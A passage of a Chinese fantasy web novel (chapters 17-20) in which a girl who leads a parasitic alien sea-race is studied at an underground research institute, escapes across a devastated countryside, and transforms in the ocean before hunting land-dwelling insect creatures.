“其实我真的能力有限,这么说吧,我属于一代,钻进人类身体后,通过自残可以再脱离选择新的宿体,但是太过虚弱能力几乎都没有了,只有一项迷幻效果,也就能迷住外面那两个傻警察了。上个首领来地球后所生的二代只有一次寄生机会,但二代更凶残,是没有思想的傀儡,也帮不到你什么。”
“你领着二代大摇大摆出门人家一会儿就来给你俩轰了。”
说了一大堆话,桑乘青嘴角起了沫子,他用手帕擦了擦,继续品起了酒。
嗯,这具身体又老了,找时间再换个吧。
“不帮就不帮,我还有其他助力……”好一会后,温茉摸着手腕上的玉镯嘟囔着,接着狠狠瞪了他一眼。
她蹬开车门,气咻咻地离开,不远处被迷幻的警卫朦朦胧胧地惊醒,摸不着头脑地跟上。
这个小首领真可爱啊……
桑乘青看着她的背影,笑弯了眼,他拉开抽屉露出一台卫星电话,“喂,我按照你的要求给我们的新母亲‘启蒙’了,你可要兑现自己的承诺啊。”
“滋滋——”
两声电流过后,电话被掐断了。
17. 第 17 章
会议室里,一桌子往日德高望重的领导吵得面红耳赤。
副局长邝文龙指着羊雅芝的鼻子骂:“现在最重要的是把温茉控制起来,你倒好,放任她到处晃悠,羊雅芝!警局还不是你一个人说了算的!”
“是啊。我们审讯不出什么来,直接移交研究院好了。”
“我们很需要这项能力啊,羊局,现在不是意气用事的时候。”
其他老东西纷纷附和着。
身处主座的羊雅芝冷哼一声,“我什么时候反对了?我只是说让我的人进入研究院。”
邝文龙胸口大力起伏,他咳嗽着坐下,“什么你的人我的人,研究院里都是些柔弱无力的学者,还能杀了你女儿不成?”
“局长,人带回来了。”一个面容清秀的副官敲门进来汇报。
羊雅芝站起身,不容置喙道:“就这么定了,让我的人接手研究院的安保。”
看着女人走出去的身影,邝文龙跟剩余的人面面相觑,邝文龙大怒,立刻追上去,可还没张口,一个高个不知道从哪里窜出来扑到他身上。
“舅舅!!!!!”
撕心裂肺的咆哮席卷了邝文龙的耳道,他那灰头土脸的好外甥一头把他撞到墙上,闪着了他的老腰。
邝文龙清楚地听到羊雅芝笑了一声。
他直觉丢了面子,气得脸都红了,于是忍住痛呼,推开像狗一样不断朝他身上蹭的赵雷,呵斥道:“站直了!像什么样子!”
“舅舅。”赵雷眼泪汪汪凑近,“你别跟羊阿姨吵嘴炮了,现在咱们应该一条心。”
“滚滚滚,你来捣什么乱。”
这个臭小子,邝文龙心里暗骂:现在研究院正是一块肥肉,怎么能让羊雅芝一个人掌控,更别提温茉还是她女儿,为了保护她女儿,研究出什么东西不公布想隐瞒下来轻而易举。
现在已经不是原先的政府机构了。
羊雅芝人已经不见了,走廊上人来人往,赵雷这个大嘴巴还在叭叭叭:“我知道您不满人家羊阿姨比你年轻比你资历老就当上局长了,但人家能力确实强啊啊啊疼……”
邝文龙揪着赵雷的耳朵扔进空无一人的会议室,门一关,伴随着啪啪啪的皮带抽响的还有赵雷时强时弱的哀号。
温茉和赵家母子三人一起过来的,刚下车赵雷就踹开车门飞了出去,显然是将车上温茉对他的洗脑听了进去,生怕两家大人打起来。
羊雅芝大踏步走了出来,接替了司机的位置,赵雷妈妈被请了出去,接着车子扬长而去,邝文龙衣衫不整地跑出来,招呼着手下:“跟上都跟上!”
车队快速地驶出城区,往人迹罕至的郊外开,A市有片保护森林禁区,研究院就建立在其中。
窗外郁郁葱葱的景色一闪而过,阳光透过车窗映照在羊雅芝的脸上,温茉坐在后排,气氛一时有些沉默。
“一会儿他们让你干什么都配合,我在外面等着。”
“哦。”温茉扣了扣手,“爸爸的遗体怎么处理?”
“温步惊在车里吧。”
两人异口同声,温茉垂下眸子,“是,就在我旁边。”
“你以为你能瞒着谁,温步惊……他就那么恨我?”
孩童模样的小鬼静静地藏在阴影里,它的声线软糯,语气却冷冰冰:“我恨死他们了。”
车内又是一阵沉默。
羊雅芝踩下刹车:“到了。”
研究院整体是银白色的,像个巨大的倒扣着的碗,门口站了一群翘首以盼的研究员,有老的有年轻的,温茉一下车就被他们围住,像要被杀的年猪般仔细打量着。
为首的老头长着白眉毛,鹰钩鼻,眼神不太好惹,温茉听到羊雅芝叫他刘院长,老头颔首,跟她走到一边假交涉,随后刘院长回来,一个眼神扫过去,温茉就被推着进了门。
她回头望去,黑压压的警卫围满了门口,邝文龙匆匆赶来,一把从车上跳下,正要跟进来,被羊雅芝拦住了。
“人家院长说了,不让咱们这些粗人进去。”
刚开始走廊狭小,只能容纳三人并排通过,十几米后,一扇银制高大的铁门映入眼帘,一个研究员识别瞳孔和指纹后走了进去,温茉跟上,视野顿时豁然开朗。
地底被挖得又深又大,有十多米高,整体装修非常现代智能化,有中控台和一些工位,许多实验器皿等,还有一切机器人在活动。他们站在一个升降梯面前,能看到下面角落有许多工人在卸集装箱。
沿着墙壁根有一圈小门,个个都是密码门,温步惊被推到升降梯里,随着梯子下落,她更加感觉到这个研究院的巨大。
她很难不怀疑这些小门后面都有更大的空间。
“你们为什么要建在地下?刘……刘荣院长。”就算是为了隐秘行踪也太夸张了吧,温茉瞥了眼自己身边老头的名牌问道。
刘院长不苟言笑,引导着她进了一扇门,“为了安全,全国那么多研究院,只有这个做的所有实验是最危险的,一旦发生危险泄漏事件,整个研究院就会从内部封死。”
温步惊趴在她的背上说道:“他们应该做了不少人体实验,这里虽然没有冤魂,但是我能听到萦绕不绝的哀号。这里磁场很差。”
温茉微不可察地点点头,随后问道:“哦,有封死过吗?”
刘荣不说话了,依旧面无表情。
温茉猜得肯定有,不然他的脸色不会一瞬间那么难看。
门后面是一段洁白明亮的走廊,很长,天花板的监控闪着冰冷的红光,直到又一扇铁门后,他们才算来到了一个可以称之为办公楼道的地方。
走廊两侧的所有门都是铁制的,地砖洁白而柔和,刘院长推开第五格地砖前的门走了进去。
“请坐。”
温茉走到玻璃室后,坐在了一台很像是检查视力的笨重机器前,刘院长和其他研究员挤在显示屏前。
机器运转,发出巨大的嗡鸣。
刘院长对着话筒说:“把下巴放上去,双目平视,放松,不要眨眼。”
温茉照做,一分钟后,刘院长才叫停。
温茉感觉眼睛很热,她站了起来,出去后,研究员们齐刷刷吸了一口凉气。
桑兰从镜子般的铁门上看到自己猩红的双眼。
刘院长捧着她的脸仔细端详,神情有些激动:“没错了!果然是活的介虫!这么多,多么有活力啊。”
“老师!您这么多年的研究对象是正确的!”一个小平头中年眼镜男生更加激动,他握紧双拳身体前倾,仿佛看到导师和自己光明灿烂的未来。
温茉被众星捧月,簇拥到隔壁的房间,这间布局很像手术室,正中央放着一张手术台,她躺下,刺眼雪白的大灯直直射向她的眼睛。
一群人把她围了起来,刘院长手里捏着一把镊子,在她的眼角比划,“你们看,这些蠕动的红血丝就是介虫,跟你们上课时见到的图片不一样,它们每一根都是活着的,现在只是受到刺激,等反应过后就会逐渐变回透明。”
“这太神奇了……”
“居然真的有虫子生活在眼球上!不是老师的臆想!”众人议论纷纷。
“老师,以我们现有的技术可以取出来吗!?”小平头中年眼镜男更激动了。
“如果可以繁殖再移植,我们就成功摸到了另一个世界了!”一个女性推了推厚重的金丝眼镜。
“妈妈,我混了这么多年终于要熬出头了呜呜呜……”小平头抱着脑袋道。
刘院长摇了摇头,泼了一盆冷水:“这种东西可不是现在的手术刀可以剥离的。”
温茉:“你们能不能往后退一点,压着我头发了。”
一想到这张手术台上死过不少人,她就有点膈应,因为不知道是不是这里怨气太深,她耳边也隐隐听到痛苦怨恨的哀号。
没人听她的话,一群人在她头顶激烈讨论起来,温茉烦得慌,直接推开他们跳下手术台,刘院长这才说道:“行了!都该干嘛干嘛去吧,今天的实验都做了吗?”
“院长,这还有全身检查要做呢。”
“应该扫
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描一下她的大脑,很大概率发生了变异!”
“我觉得……”
刘院长法令纹很深,嘴角不动时弧度略微向下,配上严厉的神情,不怒自威,他就那么静静地看着他们,这群平均年龄四十多的研究员们就闭上了嘴巴,然后一个个排着队走了出去。
“跟我过来。”刘院长招手。
两人又回到原先的房间,他捡起打印机吐出来的片子,指了指眼球上面的条条阴影。
“你看,你的眼球已经被彻底寄生了介虫。”
“介虫这种虫子,在极其罕见的情况下滋生于尸体的眼眶中,因为这种诞生方式的特殊性,所以它们的眼睛可以看到阴间鬼魂,所以是虫子看到了鬼魂,不是你本身。”
“这种介虫只能生存在眼球上,它们会伸出长长的神经末梢连接你的大脑,将所看到的景象反馈给大脑,所以你也就能看到了。”
“平时完全没有任何不舒服。”温茉摸了摸依旧红通通的双眸,她问道:“它们为什么会寄生我?我又没去墓地,而且它们以什么为食?”
“你问的这些,我很难回答。其实这种东西,上个世纪最早发现于一名入殓师身上,但他说出了太多只有死人知道的秘密,很快就意外死亡了。死后他的遗体一直被保存着,我也是在他眼睛上找到了已经死去的介虫痕迹。”
“这虫子滋生于尸体,死亡得很快,它能看通阴阳间,就像是短暂游走在两者间的使者,于是我命名为介虫。”
“后来几十年,我又多多少少做了许多实验,我发现,人体出现介虫的途径只有两种,要么是死后长出,要么是被介虫主动寄生。”
“你是我第一个发现活着被主动寄生的,也许你当初被感染的地方,就有一具尸体,这就是你不知道。”
狭小一眼望到头的老旧楼道里藏有一具尸体……温茉忍不住打了个寒战。
“我还以为你会把我剖了。”看着他低头专注查看那些影片,温茉半开玩笑地说道。
“等你死后我会的。”刘院长头也没抬:“我剖的尸体够多了,但是活的样本你还是第一个。我舍不得弄死你。”
一直缩在角落里的温步惊闻言飘到桌子上瞪着他,但他卡努道歉,免受了精神伤害。
温茉:……
好彪悍的老头。
刘院长看完影片,整齐收纳到档案袋中写上日期,随后带温茉走出去,来到走廊角落的门口。
他敲了敲门,身穿防护服的小平头了出来,刘院长接过他手里的刮片,在温茉眼球上轻轻刮了一下,接住了她因为疼痛落下的一滴眼泪。
小平头带着东西进了门。
“我给你安排一间宿舍,接下来很长一段时间,你都要待在这里配合我了。”
温茉:“哦。”
他们的脚步声一深一浅地响起,刘院长背着双手,像是突然来了兴致,问道:“你以前近视吗?”
“不。”
“介虫对眼球的情况要求极高,所以当它寄生后会自动修复损伤病变的眼睛,将眼睛恢复最佳状态。医疗价值非常大。三十多年前,我曾经强行摘除了一只长着几根介虫的眼球移植到一个天盲的人眼中。”
“你猜怎么着,不仅各种条件都不匹配的情况下,病人没有任何排异反应重新见到了光明,另一只眼睛也有恢复的迹象。”
这下温茉是真的震惊了,这玩意居然这么厉害,这要是研制成功了,全球的盲人都有恢复希望了!
刘院长吐出一口浊气:“可惜,实验失败了,那介虫不知为何钻进了病人大脑,将他的脑子搅得一团乱,就像是玉石俱焚。”
“你知道你有多宝贵吗!”刘院长拍了拍她的肩膀,“你的介虫很满意你,我一定要找到你吸引它们的地方。”
温茉沉默片刻后问道:“那看来世界上真的没有天生的阴阳眼了。”
“以目前的情况来看,只有一种可能,就是从出生时就被介虫寄生了,怎么,你认识这样的人?”
“好奇罢了……”
18. 第 18 章
桑兰天生就能看到鬼,但是……她的那只眼却是瞎的,根本不符合具有介虫的特质。
温茉张了张嘴巴,终究没有告诉刘荣关于桑兰的事情。
刘院长给温茉安排的房间位于员工宿舍,整洁密闭像个集装箱,家具只有床和衣柜书桌,唯一好一点的是有独立卫浴,接下来的一段日子,温茉就在这里住下了。
温茉度过了一段相对来说比较放松的时光,这里没有鬼魂,就是房间小了点,摄像头多得要死行动受限,除此之外每天睡到自然醒,醒了就跟温步惊唠唠嗑然后再找几本书看看。
其间温茉做了一次全身检查,刘院长觉得没必要而且辐射很大,因为他研究这么多年知道介虫只寄生眼球和大脑,但拗不住学生下属们。
其实温茉挺想知道他们那台据说全球最精尖的扫描仪能不能扫出她虫族的身体,于是十分配合,那机器果然厉害,简直就像是超大版人体解剖精绘图一样,血管肝脏全方位展现得清清楚楚。
犹如人那么大的影片被挂在墙上供人观看,刘院长看完后点评,“你的身体蛮健康的。”
温茉看完后不发一言。
这些实验狂魔每天都想把温茉拉过去开刀,但奈何能提取介虫的工具还没造出,于是只能一个劲地全方位折腾她的眼睛。
刘院长命令她每天哭点眼泪,刮她的眼膜用来记录分析,有时候还会朝她的眼睛喷洒刺激性气体,等第二天观察伤口的愈合情况,虽然每次都给她打了止痛剂,温茉也没啥意见,但温步惊不乐意了。
它怎么看这种相当于“自残”的行为都很不爽,于是它有时候会放鬼火吓吓这群人,这招确实起了效果。
刘院长及其下属惊喜地把目光投向了鬼身上,反正人这边进展缓慢,直接朝鬼下手正好。他们很想储存鬼火,毕竟这东西烧虫族有一手,但温步惊不配合,温茉又不会逼它做自己不喜欢的事,于是他们再一次受阻。
为了打好关系,刘荣还专门找了羊雅芝一趟把温步惊的遗照带了回来,放在实验室外每天上香,温步惊依旧完全不领情。
刘院长从外面回来那天,还给温茉带来了一个消息:“温教授的遗体已经火化了。”
温茉心里闷闷的,她本应该伤心,但情绪却像是被压在海面下发泄不出来,说不上什么滋味,只是哦了一声表示知道了。
刘院长还说:“外面现在疫情横行,我也不能出去太多次了。”
没办法,全国只要有人生活的地方就有尸体,尽管军队已经很努力地在清扫集中焚烧,瘟疫还是像风一样席卷了全国。
“现在外面皆是腹泻发热的人群,我听说羊局长他们商量着把幸存者都单独隔离开,毕竟现在空房子多的是,但是幸存者们的抗议声很大……”
温茉没想到,深海怪物只是对人类社会摧残了两天,带来的后续麻烦会这么多。
也许是因为她现在成为深海族的首领,温茉有些淡淡地心虚,刘院长自顾自说着:“现在医疗系统快崩溃了,我要的机器估计又要推迟好久了。”
“要不然你还是把我放出去吧,反正你现在研究不出什么来。”温茉劝说道,她来这里的目的已经达成,再待在这里只是浪费时间。
温茉忍不住回忆当初桑乘青走前最后的话:“高层里也许还有我族的人,你只要去研究院里走一圈就能确定了,要是你没事,那家伙就应该爬得很高,你也就可以不用担心身份会暴露在人类世界中。”
这也是为什么温茉很温顺地被带到研究院,她虽然不确定那个隐匿于高层的虫是谁,但可以毫无顾忌地放手去干了。
——温茉在拍片时故意扎了双丸子,丸子里就是两根小触手,而她拍出的影片不仅头顶光秃秃的,小时候就割掉的阑尾居然还奇迹般地出现了。
这根本就不是她的影片。
整个研究院里身份最大,权力最高的就是刘院长,温茉首先怀疑的就是他,但是相比于上次跟桑乘青见面时触手很激动,她在他面前晃了多少次都没反应。
而且刘荣看向她的眼神总是蠢蠢欲动的——想挖掉她一只眼的那种,温茉肯定他绝对不是那条混得很厉害的虫。
谁家虫子会想解剖自家的首领啊!
温茉在原地天神交战,并肩站立的刘荣推了推眼镜,他脸上写满不解:“在这不好吗?今时不同往日,你现在去外面只能过苦日子。”
“而且。”他弹了弹衣袖:“上面可不会放你走。”
两人不欢而散。
不管了,温茉决定逃走,她现在的饭量越来越大,有时候去食堂打饭,看着阿姨们手下的饭桶,恨不得端起来一口气吃完。
这个研究院固若金汤,不仅处处都需要权限,就连每道门都有开启时间记录,温茉
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想逃出去难度很高。
但当晚,有人敲响了她的房门,温步惊先一步穿墙而出然后进来,面色古怪道:“是那个女生。”
整个研究院分好多研究小组,刘荣手下亲自带的那组中只有一名女性萧英,性格沉稳细心,温茉平时跟她也只有点头之交,这么晚了,她来干什么?
温茉打开门,还穿着整齐睡衣的萧英如往常般面无表情,眼神却直愣愣的,她是高度近视,今晚却没戴眼镜,涣散的目光没有神采,她唇瓣轻启:“跟着我。”
温茉轻嗅,在她身上闻到了一股淡淡的咸腥味,她说道:“稍等几分钟。”
温茉当初的行李箱没带来,在这穿的用的都是院里的,她快速穿上来那天的服装,抱着温步惊的遗照跟着她走了出去。
萧英动作僵硬,步履稳健地用一张临时性权限卡带她穿过一道道权限门到达大厅,过程中,温茉注意到头顶的所有摄像头的红光都灭了。
萧英一路把她带到扶梯前,只要乘上电梯上到外面,就可以彻底离开这里。
“走吧。我在外面给你准备了一辆车,你可以一路到沿海,直接去国外会会那些陆地族。”
她的声线呆板,一字一顿,像个机器人般。温茉伸手在她眼前挥了挥,她也没任何反应。
这是一具被催眠的傀儡。
温茉坐上扶梯,看萧英的身影越来越小,防盗门内部自动感应开启,十几米后推开旋转门,温茉呼吸到了跟室内浓重消毒水味不同的深夜寒冷清新的空气。
森林一片漆黑,今晚的月色黯淡,幸好车道上的路灯还亮着,几百米外停着一辆黑色轿车,温茉拉开车门坐上去,沉默片刻。
“我没驾照。”
拥有可爱又可怖脸蛋的温步惊已经自觉飘到了副驾,一只冰凉的小手扶着她的腰,两条小腿一晃一晃的。
“现在又没人查你。”
温茉深吸一口气,照着记忆中的步骤拧钥匙,表盘亮起,车门自动上锁,车载显示屏自动定位到已经选定好的港口,语音提示音有些刺耳,她连忙关掉声音,摸索着踩油门,她没开车灯,借着路灯的弱光匀速笔直地开着。
黑夜的森林极其阴森渗人,但温茉心中居然还很庆幸有温步惊在,虽然它的小脸在屏幕光的照耀下更加恐怖,但温茉已经脱敏了,甚至还有闲心想它的脸蛋弧度看着也太可爱了。
19. 第 19 章
天色破晓前,当一抹暗淡的橙红从地面探出一半时,温茉走到了隔壁F省的地界公告牌下,擦了擦额头的汗水,她靠着一辆车慢慢滑下去,身心俱疲地捶了捶酸痛的双腿。
各省份地界边缘一般都比较偏僻落后,这里明显是个乡下,一条国道穿过其中,沿着道路两旁立着两排有新有旧的自建房,房子后是一望无际开阔的土地,有一些没收完的农作物,再远处就是连绵起伏的高山轮廓,能透过薄雾看见隐隐约约的绿意。
自建房基本是仿照小洋楼的方式盖建,大门坚硬,围墙极高。温茉能想象出灾难来临时这里人的慌乱,有的房门大敞开人走楼空,有的紧闭着像座安静的坟墓。
有不少懵懂呆板的鬼魂游荡着,看身形样貌,都是些留守老人和小孩,每只鬼魂都死状凄惨,简直不忍心再细看。
马路上横躺着几具残破腐烂的尸体,一面墙上溅满了凝固的血,墙根倒着一个沾着血手印的锄头,苍蝇乱飞,三只土狗不知从哪里突然窜出来,对着温茉狂吠不止!
三只狗毛发枯燥肮脏,身上都带着伤,眼里充斥着凶狠和疯狂,温茉看出它们的紧绷和应激,便没有轻举妄动,但闻到鲜血的味道后,她不受控制地咽了下口水。
在虫族基因的作用下,她觉得鲜血的味道好闻极了,嗅到美味,头顶的两根触手又雄赳赳地立了起来,在丸子头里激烈地摇摆着。
温布惊黑着脸上前驱逐,但土狗们看不见它,反而越吠越逼近,张开了森森利齿,温茉摸到脚边两块砖头,她拎起一块朝两只狗中间砸去,然后立刻起身。
两只狗被吓到跳开,温茉趁机从中跑开,第三只眼神最凶的狗眨眼间就咬住了她的裤脚,她狠狠把最后的砖头掼到脚边,发出巨大的声响,那狗身体瑟缩了一下,但没松口,摇摆着狗头激烈的撕咬着。
温茉的运动裤直接被从膝盖位置撕掉一大块,另两只狗一拥而上,也要朝她的腿咬去,温步惊直接燃起两团鬼火朝狗砸去,虽然碰到狗毛就消失了,但三只狗均吓了一大跳,齐齐压低身体后撤,警惕的朝她龇牙,喉咙滚动着危险的低吼。
温茉立刻闪身到身后的院子里,哐当一下把大门关上拴好,外头狗吠激烈,她后退一步,被什么软滑的东西绊倒。
温茉摔倒在一具从皮肉里流淌出尸水的半具尸体旁,被开膛破肚的尸体仰面躺着,内脏被吃得干干净净,只剩下爬了些蛆虫的骨架,温茉摸到一手冰冷黏腻,狼狈地飞速爬起。
尸体旁站了一只血肉模糊的鬼,看衣着生前就是地上那人,它残缺的嘴巴里喃喃低语着什么,不时哭嚎两声,语调凄惨尖锐。
温茉狂甩手,看到院角落有个水龙头,赶紧跑过去开水冲洗手腕,水管闷响两声,随后潺潺冰冷的水流出,温茉洗好了手,看到一楼的门是虚掩着的,温步惊提前进去转了一圈,“没人。”
“我去洗漱一下找点吃的。”她走了一晚上路,实在有些虚弱。
进门就是一间不大不小的客厅,放着一套木质桌椅和零零散散的家具,一楼的卫生间太脏了,温茉嫌弃得不行,跑到还算干净的二楼洗漱。
这家居然有烘干机,温茉先洗了贴身衣物放进去烘,然后在衣柜里找到一套干净的银灰色休闲装洗了个澡穿上,完事晃荡到一楼厨房找吃的。
冰箱里有一些剩菜和小零食,冷冻层冻满了硬邦邦的生肉,温茉看着裹满冰霜的生肉块咽了咽口水,终究忍住了想生啃的欲望。
厨房有个天然气灶,温茉忙活快一个多小时,做了一碗鸡蛋面和一大盆辣椒炒肉,她端到饭桌上吃着,突然脑门一痛。
“嘶。”
一个积木砸向了她,一个七八岁的小男孩站在楼梯上探头看她,神色慌乱中带点怒气,说话带了点地方口音:“你是谁?”
啊,一个小活人。
温茉给了温步惊一个眼神,不是说没人吗?
温步惊面无表情:“我搜的时候真没发现。”
温茉抽纸擦了擦嘴,慢条斯理道:“路过这里,借你家吃顿饭。”
“谁让你穿我姐衣服了!”小孩声线尖锐,急得直跺脚,但他的眼睛却直勾勾盯着饭菜,不自觉吧咂着嘴。
“顺手就穿了。”
锅里还剩一点面条,温茉盛出来邀请他:“一起吃吧,口水都流到地下了。”
小孩质疑地盯着她,脏兮兮的手紧紧扣着栏杆,犹豫了几分钟才慢腾腾挪下去,蹭到桌边,端详着她的脸色然后捧起碗,筷子都不用,仰头狼吞虎咽吃着。
他显然饿极了,三两口连汤带面全吃光了,温茉刚好吃饱了,就把剩下的菜全推给他,他吃得急促又面目狰狞,挂着两道黑黢黢泪痕的脸蛋上沾满了汤汁。
“还饿。”他吃完后举着盆说道,温茉又给他做了一盆鸡蛋挂面,他才心满意足地捧着肚皮躺到沙发上。
温茉觉得他看起来很好吃,肉质一定又嫩又鲜,她无法抑制从刚才开始就莫名浮现的焦躁感,第一次真情实意地厌恶虫族的基因。
真是看到碳基生物就觉得香,狗是,居然连人类小孩都能在食谱上,她可不想被食欲操控,于是决定接下来的旅程都尽量远离人类好了。
小孩看似躺着休息,实则眼珠子一直关注着温茉的动静,看到她朝外面走去,他慌乱地站起来,下意识略微带着哭腔问道:“你咋又走哩?”
温茉回头道:“我有我要去的地方,就不打扰了。”
“那我咋办。”小孩可怜巴巴看着她,浑身写满不知所措和无助。
“外面的怪物都已经消失了,不会再来害人了,救援已经在展开了,很快就有人来救你了。”
“你家冰箱还有好多小零食和水果,应该够你吃几天了。相信我,会有军人叔叔来救你的。”
温茉安慰着他。
见她头也不回消失在门口,男孩面色惨白,追了两步脚步钉在地上,随后没忍住,嗷一声大哭起来。
尖锐刺耳的哭声促使温茉返回,温步惊从外面飘进来说道:“村里还有一个中年男活着。”
“把他送过去吧。”温茉说道。
温茉找了条围巾把小孩的脸包起来,就露出个鼻孔呼吸,小孩手太脏了,身上还有一股汗味,她嫌弃,拿着扫把两人一人握一端。
“为啥包我哩头。”
“为你好。”
温茉牵着他避开门口那具腐烂的尸体,狗还在叫,小孩狠狠吸鼻子:“是我家狗子。”
他大喊一声狗的名字,三条狗不叫了,开始哐哐往铁门上扑,温茉拉开门闩,三只狗挤了进来,用温热的大舌头不住地舔小孩的双手和鞋子。
狗嘤嘤叫,小孩抱着狗头抽噎,因为尸体太臭,哭着哭着呕了,温茉没给主宠温情的时间,拉着他
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径直越过凌乱血污的马路,来到有人的那家。
“门口有俩石狮子和一棵玉兰树,你认识这是谁家吧?”温茉问他。
小孩扯开嗓子喊:“大爷!大爷!我!大爷你在家吗?大娘?叔!?”
“汪汪!”
狗也开始叫,紧紧簇拥着小孩,尾巴摇晃不停,小孩的颤音和狗声交织在乡间,只有呜呜的秋风呼应着,莫名有些凄凉,过了会,院内响起一阵拖沓声,随后门被打开。
憔悴的男人一把扯下小孩脑袋上的围巾,警惕地把他抱进去,重见光明,小孩欣喜地搂着男人脖子往回看——那个炒饭很好吃的漂亮姐姐却不知何时离开了。
温茉从一个院子里发现一辆99新的白车,最普通的大众品牌,车钥匙居然还插在门上,温茉美滋滋检查了一遍车辆,确认没有死过人,然后进屋搜刮了一些物资放到后排,慢慢开着车出了门。
开了十多分钟,温茉来到了一个镇上,这里明显比村里繁华一些,相对尸体和鬼魂也更多,马路上被许多侧翻的三轮车和电瓶车堵得很厉害。
一家超市门口堆积了一堆尸体,大门紧闭,温茉弃车下去,明显感受到了来自暗处的窥探感。
温茉走到镇头,找到了一辆电量很足的三轮车,接着把一家便利店里所有的桶装水搬上车厢,骑着三轮离开了那座小镇。
相比村里,这段路明显宽阔了许多,因此虽然障碍物也挺多,但也能走。
温茉找了个空旷的田野,一口气把六大桶桶装水都喝完了,她摸了摸头顶的小触手,才摆脱了差点渴死的境况。
不知道是不是错觉,触手更大更肿了一些,摸起来肉嘟嘟湿漉漉的。
F省离海洋就只有横跨一个小省份的距离,接下来,温茉轮换各种工具一刻不停地赶路,顺利到达了海边。
她成功避开了闹市区和人群,上了两段高速,走了二十几公里,绕了很大的圈子,才终于历时十二天结束旅程。
到达海洋的那天,晴空碧波,万里无风,温茉站在沙滩边眺望,一望无际的蓝色海洋像面美丽平静的镜子,金闪闪地反射着阳光。
温茉头戴着一条披巾,她的两根触手已经长得有一米长了,活泼得像两条迎风飘扬的“柳条”。
由于两根触手上布满了密密麻麻的圆润大眼睛,温茉总是会有些不适应,毕竟走路走得好好的,头巾一吹就突然能看到身后的视野,会让她差点摔倒。
一个人对着一台电脑打游戏,突然屏幕被分成两块,另一款游戏挤了进来,于是注意力就被分散,稍一分神,操纵的人物就死亡了。
温茉大概就处于目前的状态。
温茉在心里呼唤着子民,几分钟后,无数条粗壮的灰白色触手刺出海面,密密麻麻欢喜地摇摆着。
视野可见的海面“长”满了咬合着尖牙和眼珠子乱转的触手,触手狂乱地拍打着海面,场面犹如什么邪教仪式般混乱,任何一个人类见到这场面都会魂飞魄散。
温茉有些紧张,她脱掉鞋子,跟随心中的指引,一跃沉入了腥咸的海洋。
触手争先恐后地缠上了她的身体,仅一瞬间就瞬移到几公里之外,随后进入深海之中。
温茉的人类的耳膜瞬间爆掉,骨骼也被高压挤的断裂,温茉非常痛苦,意识却毫不客气地指挥着它们——
再深些,到海底去。
20. 第 20 章
三个月后。
狂风暴雪万籁俱寂中,一只紫色的小章鱼从深海爬上了岸,她长着可爱的圆脑袋和八条肥嘟嘟的小触手,雄赳赳气昂昂地在冰岸边走动着,行动间发出吧唧吧唧的声响。
小章鱼整体是均匀的深紫色,像个q弹的果冻,两只金色的圆眼眸像镶嵌在脸上的宝石,她十分骄傲地自夸着:“不愧是我,即使是缩小体也手到擒来。”
八岁模样,皮肤青白的小鬼笑眯眯地拍手:“妹妹,恭喜。”
在历经两个多月的深海高压后,温茉成功地蜕变为了彻底体形态,不愧是外星生物,即使是最虚弱的时期,她的体长也有十几米。
无数子民争先恐后地为她献上食物,就连虎鲸鲸鱼这种保护动物温茉都啃过好几只。不过温茉最爱吃的是万里海底下的带电水母,吃起来酥麻冰凉,嘎嘣嘎嘣脆的。
在海里的第三个月,温茉学会了拟态——已经能够熟练地在完全体和人体中转变。于是在感受过千呼百应的追随,感受过一拍千层浪的力量后,温茉怀揣着变强的渴望上岸了。
此刻正是冬季,鹅毛大雪纷纷扬扬,几乎达到了遮天盖日的地步。这会是中午,但天气阴沉沉的,寒风呼啸着扬起一阵阵雪尘,能见度极低。
温茉记得地图,这儿是西半球最大板块的海岸带,在这里爆发的是骨化虫族。相较于深海族“发疯”两天后就撤离,陆地族自暴露以来仍一直肆虐生长。
温茉现在口味很重,她要去抓几只骨化虫幼崽尝尝。
可能是融合了人类基因,温茉相比前任首领来说进行了不小的异变,最突出的就是——在其他虫子还在以生长来增强力量时,她可以通过吞噬其他虫子和生命体来汲取力量。
深海一族很愿意为首领变强而献身,但温茉终究有人类意识,不愿意食用同族的身体,于是她把目光投向了陆地族。
深海族和陆地族最大的区别是——深海只有一位首领肩负起繁衍的重任,而陆地族往往喜欢自行分为百只起步的群落,供养着自己的虫母分散而居,通过虫母厮杀来划分不同的级别。
当一个虫母获得胜利,那么它的族群就会吞并失败者的族群,成为更高等级的群落……所以陆地族的弱点是几乎做不到一条心,往往在捕捉食物的时候还要内讧。
很有意思的一点是,陆地族又能寄生又能自己生,简直像野草般斩不尽,但它们会主动控住数量。
比如地球上的陆地和食物资源都很丰富,那么各虫母就会繁衍,如果种族生存压力过大,那么它们就只会选择寄生。
桑乘青还说人家没脑子,这不是挺有生存智慧的吗。
小章鱼慢吞吞地在布满薄冰的石子沙滩上走着,暴雪中矗立着一座白色的灯塔,灯塔底部的门是关着的,覆盖着一层厚厚的冰霜,她伸出两根触手拍上铁门,没一会那门就被黏液腐蚀出一个小洞,她钻了进去。
灯塔内部有一间隐藏式的迷你小宿舍,堆满了拥挤的工具和生活用品,角落蜷缩着一具脱得精光的冻尸,尸体怀里抱着一只长毛狗的遗骸,地板被烧出一个大黑洞。
温茉找了一套还算干净的橙色冲锋衣穿上,鞋子都是穿过的男性型号,她嫌弃,光脚出门,很快离开了这里。
反正这点寒度对她来说没任何感觉,衣物主要起到蔽体的用处。
路边地牌上显示,最近八公里外的地方有一个小镇,温茉沿着海岸线上平坦的公路,踩着厚厚的积雪一步步朝小镇进发。
三十多分钟后,她听到了几声轰隆隆的闷响炮弹声和一些嘈杂的人声,接着,她陆陆续续看到了不少彷徨的鬼魂。
那些鬼魂无意识地游荡着,虽然身体完整,但每一只都身材干瘪、僵硬、犹如骷髅般,皮肤如同缩水橡胶一样皱巴巴贴着骨头。
温茉看了看牵着自己的小小温步惊,“还是哥哥你比较好看一些。”
温步惊一本正经地开玩笑:“毕竟我死的时候还很年轻。”
温茉笑眯了眼。
风刀子狠狠刮着,冲锋衣的帽子簌簌响,没一会温茉就成了个“雪人”。她睫毛和眉毛挂满了冰霜,通过弯腰抵抗着风力。
突然,一道细微的破空声响起,温茉就地一滚,躲开了瞬间从雪层中暴起的攻击。
一条白色的,有两米多长三米多粗的“手臂”从雪地里抬起,巨大的骨头大手抓向了温茉。
她这次没躲,巨手抓住了她。
紧接着,一只放大版骷髅般的虫子从雪层里爬起来,它保持着人类的形态,有头发和五官,没有眼球,他长得很畸形,手脚很长,躯干很短,脑袋只有人类大小,脖子却很粗长。
